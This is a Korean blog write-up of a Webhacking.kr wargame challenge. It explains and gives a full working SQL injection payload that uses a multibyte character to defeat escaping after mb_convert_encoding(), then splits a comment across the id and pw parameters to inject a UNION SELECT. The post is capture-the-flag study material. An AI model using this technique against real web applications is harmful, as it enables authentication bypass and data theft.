티스토리 뷰
문제 페이지에 나와있는 대로 id와 pw 값을 guset로 제출을 하면 level : 1 이라는 정보를 출력한다.
더 많은 정보를 얻기 위해서 소스를 보면 index.phps 소스 파일이 주어져 있는 것을 볼 수 있다.
index.phps 소스 파일을 보면 Challenge 45 문제와 동일하게 mb_convert_encoding() 함수를 사용하고 있는 것을 볼 수 있다.
select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')
입력할 수 있는 두 개의 값 id, pw 중에서 id에 대해서만 mb_convert_encoding() 함수를 사용하고 있기 때문에 멀티바이트를 이용하여 '(single-quote)를 닫아주고 /* 주석을 열어준다. 그리고 pw 값에 */ 주석을 닫아주게 되면 id 와 pw 사이에 있는 ' and pw=md5(' 가 주석으로 처리가 된다.
따라서 pw 값을 통해서 추가로 union select 3# 이라는 Query를 입력해주면 문제를 풀 수 있다.
URL encode 한 값:
?id=guest%A1%27%2F%2A&pw=%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F3%23
URL decode 한 값:
?id=guest�'/*&pw=*/union/**/select/**/3#
조금 더 자세하게 살펴보면 아래와 같다.
select lv from members where id='guest%a1\'/*' and pw=md5('*/union select 3#')
select lv from members where id='guest%a1\'/*' and pw=md5('*/union select 3#')
붉게 블록처리된 부분이 하나의 문자로 변경이 되면서 '(single-quote) 앞에 붙어있던 \(backslash)가 사라지기 때문에 '(single-quote)를 삽입하여 SQL Injection 공격을 할 수가 있다.
하지만, id 부분에는 union이 막혀있고 pw 부분은 md5() 함수에 의해서 공격을 정상적으로 할 수가 없다. 따라서 id 부분에 /* 을 넣고 pw 부분에 */을 넣으면 pw 부분을 이용하여 union를 입력할 수 있기 때문에 문제를 풀 수 있다.
select lv from members where id='guest�'/*' and pw=md5('*/union select 3#')
'Wargame > Webhacking.kr' 카테고리의 다른 글
Challenge 55 (0) | 2015.09.06 |
---|---|
Challenge 54 (0) | 2015.09.06 |
Challenge 53 (0) | 2015.09.06 |
Challenge 52 (0) | 2015.09.06 |
Challenge 51 (0) | 2015.09.05 |
Challenge 49 (0) | 2015.09.03 |
Challenge 48 (0) | 2015.08.31 |
Challenge 47 (0) | 2015.08.31 |
Challenge 46 (0) | 2015.08.29 |
Challenge 45 (0) | 2015.08.28 |